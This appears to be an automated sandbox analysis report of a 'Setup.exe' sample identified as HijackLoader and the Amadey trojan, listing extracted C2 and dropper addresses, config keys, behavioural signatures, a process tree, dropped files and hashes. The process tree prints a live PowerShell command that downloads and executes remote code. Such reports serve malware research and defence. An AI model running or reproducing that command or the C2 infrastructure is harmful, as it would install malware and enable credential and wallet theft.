Analysis

  • max time kernel
    298s
  • max time network
    296s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20251017-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20251017-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    25/10/2025, 14:57

General

  • Target
    Setup.exe
  • Size 34KB
  • Sample251025-sb3bkaev9d
  • SHA256 5d11218f67cfe78347280b0e1a06ade63c890ac78f970f57b0200ff5be8aa77c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • hijackloader

Attributes
  • directory

    %ALLUSERSPROFILE%\frameworknotepad

  • inject_dll

    %windir%\SysWOW64\rasapi32.dll

xor.hex

Extracted

Family
  • amadey

Version
  • 5.64

Botnet
  • 74a65b

C2
  • http://mi.overlapsnowbound.com

Attributes
  • install_dir

    2d44bacc67

  • install_file

    Ahdvfzkeyo.exe

  • strings_key

    c03135dc90dd4923dc1d82a56dc86dab

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 11 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:892
    • C:\Windows\SysWOW64\explorer.exe
      C:\Windows\SysWOW64\explorer.exe
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:984
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4832
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
          PID:2620
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe"
          3⤵
            PID:3312
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
            3⤵
              PID:2824
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              3⤵
                PID:4776
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                3⤵
                  PID:4536
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                  3⤵
                    PID:4680
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                    3⤵
                      PID:3124
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                      3⤵
                      • Badlisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1568
                    • C:\Windows\SysWOW64\rundll32.exe
                      "C:\Windows\SysWOW64\rundll32.exe"
                      3⤵
                      • Badlisted process makes network request
                      • System Location Discovery: System Language Discovery
                      PID:2108
                    • C:\Windows\SysWOW64\rundll32.exe
                      "C:\Windows\SysWOW64\rundll32.exe"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:1436
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 628
                        4⤵
                        • Program crash
                        PID:2972
                    • C:\Users\Admin\tp.exe\Statio.exe
                      C:\Users\Admin\tp.exe\Statio.exe
                      3⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:32
                • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                  1⤵
                    PID:872
                  • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                    1⤵
                      PID:248
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1436 -ip 1436
                      1⤵
                        PID:3432

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            59BC227.tmp

                            • Path C:\Users\Admin\AppData\Local\Temp\59BC227.tmp
                            • Size 1.0MB
                            • SHA256 4f6c9d760b447a5c566c94aa26f42b0c39be60e127a4c28b4fa15fb7827d52cc
                            • MD5 SHA1 SHA512 SSDEEP

                            85ADEE8.tmp

                            • Path C:\Users\Admin\AppData\Local\Temp\85ADEE8.tmp
                            • Size 40B
                            • SHA256 1647e8c5488c579b184ccb3adfb17db71933ef22ba02d44c2f9d195eb0417e9e
                            • MD5 SHA1 SHA512

                            __PSScriptPolicyTest_sg3vudab.m4x.ps1

                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sg3vudab.m4x.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512

                            Flundfreb.ftex

                            • Path C:\Users\Admin\tp.exe\Flundfreb.ftex
                            • Size 3.3MB
                            • SHA256 f5bd5d76902cc66e613ef67a86e0fef496b88b1f4db6bdc407d7c5001d1a1312
                            • MD5 SHA1 SHA512 SSDEEP

                            Mait.hsx

                            • Path C:\Users\Admin\tp.exe\Mait.hsx
                            • Size 30KB
                            • SHA256 2aba93e44ec058952351c337d44667d2ee57bd56718c635461dce962d325c625
                            • MD5 SHA1 SHA512 SSDEEP

                            OSPPC.DLL

                            • Path C:\Users\Admin\tp.exe\OSPPC.DLL
                            • Size 145KB
                            • SHA256 34538a1ca44bdd0022bca5dd191787c368fcc4cc775e580c0a6ad0ff5a598354
                            • MD5 SHA1 SHA512 SSDEEP

                            Statio.exe

                            • Path C:\Users\Admin\tp.exe\Statio.exe
                            • Size 49KB
                            • SHA256 abd5308ec6b01b8ada0f2b83a2e1585502cac9e00170edb22332a7c1d96d58d3
                            • MD5 SHA1 SHA512 SSDEEP

                            VCRUNTIME140.dll

                            • Path C:\Users\Admin\tp.exe\VCRUNTIME140.dll
                            • Size 95KB
                            • SHA256 475ab98b7722e965bd38c8fa6ed23502309582ccf294ff1061cb290c7988f0d1
                            • MD5 SHA1 SHA512 SSDEEP

                            jli.dll

                            • Path C:\Users\Admin\tp.exe\jli.dll
                            • Size 83KB
                            • SHA256 00531c7c28c5a550be05659cfe7943a044798a942273ae4469148e826cdfddd6
                            • MD5 SHA1 SHA512 SSDEEP

                            memory/32-74-0x00007FFCF7E50000-0x00007FFCF7F4F000-memory.dmp

                            memory/892-0-0x00007FFCF7E50000-0x00007FFCF7F4F000-memory.dmp

                            memory/892-4-0x00007FFCF7E50000-0x00007FFCF7F4F000-memory.dmp

                            memory/892-3-0x00007FFCF7E50000-0x00007FFCF7F4F000-memory.dmp

                            memory/892-11-0x00007FFCF7E6D000-0x00007FFCF7E6E000-memory.dmp

                            memory/892-13-0x00007FFCF7E50000-0x00007FFCF7F4F000-memory.dmp

                            memory/892-2-0x00007FFCF7E6D000-0x00007FFCF7E6E000-memory.dmp

                            memory/984-12-0x0000000000AE0000-0x0000000000B1C000-memory.dmp

                            memory/984-20-0x0000000000AE0000-0x0000000000B1C000-memory.dmp

                            memory/984-69-0x0000000000AE0000-0x0000000000B1C000-memory.dmp

                            memory/984-71-0x0000000000AE0000-0x0000000000B1C000-memory.dmp

                            memory/984-6-0x0000000000AE0000-0x0000000000B1C000-memory.dmp

                            memory/984-24-0x0000000000AE0000-0x0000000000B1C000-memory.dmp

                            memory/984-10-0x00007FFD159B0000-0x00007FFD15BA8000-memory.dmp

                            memory/984-7-0x0000000000AE0000-0x0000000000B1C000-memory.dmp

                            memory/1436-51-0x00000000034D0000-0x0000000003AE0000-memory.dmp

                            memory/1436-50-0x00000000034D0000-0x0000000003AE0000-memory.dmp

                            memory/1436-52-0x00000000034D0000-0x0000000003AE0000-memory.dmp

                            memory/1436-46-0x00000000034D0000-0x0000000003AE0000-memory.dmp

                            memory/1436-45-0x00000000028F0000-0x00000000028F3000-memory.dmp

                            memory/1568-53-0x00000000076D0000-0x0000000007D4A000-memory.dmp

                            memory/1568-25-0x0000000002500000-0x0000000002536000-memory.dmp

                            memory/1568-43-0x0000000005E60000-0x0000000005E7E000-memory.dmp

                            memory/1568-44-0x0000000005EA0000-0x0000000005EEC000-memory.dmp

                            memory/1568-34-0x0000000005850000-0x00000000058B6000-memory.dmp

                            memory/1568-33-0x00000000050F0000-0x0000000005156000-memory.dmp

                            memory/1568-32-0x0000000004E50000-0x0000000004E72000-memory.dmp

                            memory/1568-77-0x000000000CDF0000-0x000000000CE86000-memory.dmp

                            memory/1568-75-0x0000000074FC0000-0x0000000075771000-memory.dmp

                            memory/1568-26-0x0000000005180000-0x000000000584A000-memory.dmp

                            memory/1568-54-0x00000000063B0000-0x00000000063CA000-memory.dmp

                            memory/1568-78-0x000000000CD80000-0x000000000CDA2000-memory.dmp

                            memory/1568-79-0x000000000D440000-0x000000000D9E6000-memory.dmp

                            memory/1568-42-0x00000000059C0000-0x0000000005D17000-memory.dmp

                            memory/2108-83-0x0000000000400000-0x000000000046F000-memory.dmp

                            memory/2108-27-0x0000000000E10000-0x0000000000E13000-memory.dmp

                            memory/2108-28-0x0000000002840000-0x0000000002892000-memory.dmp

                            memory/2620-16-0x00000212EF880000-0x00000212EF882000-memory.dmp

                            memory/2824-18-0x000001747FD50000-0x000001747FD52000-memory.dmp

                            memory/3124-23-0x00000148D6750000-0x00000148D6752000-memory.dmp

                            memory/3312-17-0x000001F809690000-0x000001F809692000-memory.dmp

                            memory/4536-21-0x000002051FDF0000-0x000002051FDF2000-memory.dmp

                            memory/4680-22-0x000001C82F050000-0x000001C82F052000-memory.dmp

                            memory/4776-19-0x00000196A3220000-0x00000196A3222000-memory.dmp

                            memory/4832-15-0x0000023D85810000-0x0000023D85812000-memory.dmp